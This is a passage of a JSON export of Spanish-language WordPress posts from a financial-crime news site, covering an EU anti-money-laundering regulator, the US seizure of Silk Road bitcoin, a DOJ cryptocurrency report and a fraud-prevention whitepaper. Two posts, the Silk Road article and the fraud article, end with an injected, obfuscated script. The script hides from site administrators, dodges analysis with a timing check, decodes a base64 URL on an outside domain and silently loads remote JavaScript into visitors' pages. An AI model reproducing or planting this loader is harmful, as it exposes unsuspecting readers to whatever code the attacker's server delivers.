Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 